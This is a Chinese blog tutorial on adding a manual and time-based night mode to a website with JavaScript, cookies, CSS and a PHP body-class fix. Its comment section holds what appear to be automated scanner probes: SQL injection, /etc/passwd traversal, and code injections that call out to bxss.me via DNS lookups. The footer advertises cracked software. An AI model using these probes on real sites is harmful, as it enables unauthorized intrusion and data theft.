欢迎光临
我们一直在努力

如何手动给自己的网站增加一个夜间模式

小马SEO今天给大家分享如何手动给自己的网站增加一个夜间模式,希望能够帮助大家,还请大家多多关注小马SEO博客。

首先,我们需要在主题模板中打开“footer.php”文件,在“</body></html>”前添加如下代码:

<script type="text/javascript">
function switchNightMode(){
    var night = document.cookie.replace(/(?:(?:^|.*;\s*)night\s*\=\s*([^;]*).*$)|^.*$/, "$1") || '0';
    if(night == '0'){
        document.body.classList.add('night');
        document.cookie = "night=1;path=/"
        console.log('夜间模式开启');
    }else{
        document.body.classList.remove('night');
        document.cookie = "night=0;path=/"
        console.log('夜间模式关闭');
    }
}
</script>

保存文件然后刷新一下就可以了。

如果想要实现自动切换夜间模式如下代码(直接复制即可):

<script type="text/javascript">
function switchNightMode(){
    var night = document.cookie.replace(/(?:(?:^|.*;\s*)night\s*\=\s*([^;]*).*$)|^.*$/, "$1") || '0';
    if(night == '0'){
        document.body.classList.add('night');
        document.cookie = "night=1;path=/"
        console.log('夜间模式开启');
    }else{
        document.body.classList.remove('night');
        document.cookie = "night=0;path=/"
        console.log('夜间模式关闭');
    }
} (function(){
    if(document.cookie.replace(/(?:(?:^|.*;\s*)night\s*\=\s*([^;]*).*$)|^.*$/, "$1") === ''){
        if(new Date().getHours() > 22 || new Date().getHours() < 5){
            document.body.classList.add('night');
            document.cookie = "night=1;path=/";
            console.log('夜间模式自动开启');
        }else{
            document.body.classList.remove('night');
            document.cookie = "night=0;path=/";
            console.log('夜间模式自动关闭');
        }
    }else{
        var night = document.cookie.replace(/(?:(?:^|.*;\s*)night\s*\=\s*([^;]*).*$)|^.*$/, "$1") || '0';
        if(night == '0'){
            document.body.classList.remove('night');
        }else if(night == '1'){
            document.body.classList.add('night');
        }
    }
})();</script>

  代码中的22和5就是晚上22点开始到第二天的5点结束,其实这段代码并不严谨,为什么这么说呢?此代码是针对没有记录cookies的网站来说有效,一旦手动开启或者关闭过夜间模式,那么这个自动是失效了,除非清空浏览器的cookies,总之这里目前没有办法完美适配(我技术不行),其实我们可以在js做个判断,就是每天的22点时候判断cookies是否是夜间模式,如果不是,弹出对话框询问是否开启夜间模式,如果是就不提示。

  然后打开网站的“header.php”文件,我们需要给网站填写一个按钮,以此来手动开启和关闭夜间模式:

<a class="at-night" href="javascript:switchNightMode()" target="_self"></a>

  复制如上代码,放在你认为合适的地方,然后保存,登录后台,清空主题模板缓存编译,然后打开首页,测试夜间模式是否有效。

  其实教程到这才算是完成一般,因为你在测试的过程中会发现,开启夜间模式并没有效果,,,嗯嗯是的,因为你们没有适配夜间模式的css,这个教程写不出,因为每个主题模板的div框架和css命名不同,无法统一,所以需要您自己去查找对应的class类,然后添加夜间模式的样式,例如:

body.night DIV名称 {
    background-color: #263238;
    color: #aaa; 
}

这样一来开启夜间模式后背景色就换成了黑色,字体是白色,如果网站css框架太多,相信我这绝对是一个大坑,哦对了,防止css样式重叠,建议在css样式表最底下适配夜间模式的代码。

这些都配置完成,前台查看首页,你会发现在夜间模式下会出现闪屏,就是,打开一个页面的瞬间是正常模式,然后在1秒(电脑速度慢的时候可不止1秒)后转换成夜间模式,哇塞,简直就是亮瞎眼有木有?别急,教你一个办法,打开“header.php”文件,在<body>上添加如下代码:(此代码仅限Z-Blog

<body class="{if GetVars('night','COOKIE') } night{/if}">

其他程序(TP5或者Typecho等)使用这个:

<body class="<?php echo($_COOKIE['night'] == '1' ? 'night' : ''); ?>">

  这样就解决闪屏的BUG了,当检测到cookie相关字段时直接输出body的class为night,就可以已防止页面闪烁。河南SEO在这里提醒大家,修改代码之前还是要做好备份,以防万一。

赞(0) 打赏
未经允许不得转载:新起点博客 » 如何手动给自己的网站增加一个夜间模式


关注公众号『新起点软件管家』

获取最新网络资源及破解软件!
带你玩转各样软件...

评论 70

评论前必须登录!

 

  1. #21

    http://bxss.me/t/fit.txt

    lxbfYeaa2年前 (2021-11-17)
  2. #22

    ‘+response.write(9938439*9858145)+’

    lxbfYeaa2年前 (2021-11-17)
  3. #23

    LHDPuJTh

    lxbfYeaa2年前 (2021-11-17)
  4. #24
    lxbfYeaa2年前 (2021-11-17)
  5. #25

    1 [呵呵] [呵呵] [嘻嘻] [嘻嘻] [哈哈] [哈哈] [偷笑] [偷笑] [挖鼻屎] [挖鼻屎] [互粉] [互粉] [吃惊] [吃惊] [疑问] [疑问] [怒火] [怒火] [睡觉] [睡觉] [鼓掌] [鼓掌] [抓狂] [抓狂] [黑线] [黑线] [阴险] [阴险] [懒得理你] [懒得理你] [嘘] [嘘] [亲亲] [亲亲] [可怜] [可怜] [害羞] [害羞] [思考] [思考] [失望] [失望] [挤眼] [挤眼] [委屈] [委屈] [太开心] [太开心] [哈欠] [哈欠] [晕] [晕] [泪] [泪] [困] [困] [悲伤] [悲伤] [衰] [衰] [围观] [围观] [给力] [给力] [囧] [囧] [威武] [威武] [OK] [OK] [赞] [赞] %’ AND 2*3*8=6*8 AND ‘dLXX’!=’dLXX%

    lxbfYeaa2年前 (2021-11-17)
  6. #26

    str(__import__(‘time’).sleep(9))+__import__(‘socket’).gethostbyname(‘hitryjrgvpptvd8d8a.’+’bxss.me’)

    lxbfYeaa2年前 (2021-11-17)
  7. #27

    ‘+str(__import__(“time”).sleep(9))+__import__(“socket”).gethostbyname(“hitryjrgvpptvd8d8a.”+”bxss.me”)+’

    lxbfYeaa2年前 (2021-11-17)
  8. #28

    ‘.print(md5(31337)).’

    lxbfYeaa2年前 (2021-11-17)
  9. #29

    @@gfZ2c

    lxbfYeaa2年前 (2021-11-17)
  10. #30

    ‘”()&%jBs2(9381)

    lxbfYeaa2年前 (2021-11-17)
  11. #31

    wp-comments-post.php/.

    lxbfYeaa2年前 (2021-11-17)
  12. #32

    5559998063

    lxbfYeaa2年前 (2021-11-17)
  13. #33

    1some_inexistent_file_with_long_name.jpg

    lxbfYeaa2年前 (2021-11-17)
  14. #34

    acux4280

    lxbfYeaa2年前 (2021-11-17)
  15. #35

    ‘+response.write(9802955*9822548)+’

    lxbfYeaa2年前 (2021-11-17)
  16. #36

    ../../../../../../../../../../../../../../etc/passwd

    lxbfYeaa2年前 (2021-11-17)
  17. #37

    !(()&&!|*|*|

    lxbfYeaa2年前 (2021-11-17)
  18. #38

    ‘.gethostbyname(lc(‘hityq’.’gdrjsfqsbda32.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(106).chr(66).chr(101).chr(88).’

    lxbfYeaa2年前 (2021-11-17)
  19. #39

    ./555

    lxbfYeaa2年前 (2021-11-17)
  20. #40

    str(__import__(‘time’).sleep(9))+__import__(‘socket’).gethostbyname(‘hitkxmacaclwl91707.’+’bxss.me’)

    lxbfYeaa2年前 (2021-11-17)

觉得文章有用就打赏一下文章作者

非常感谢你的打赏,我们将继续给力更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏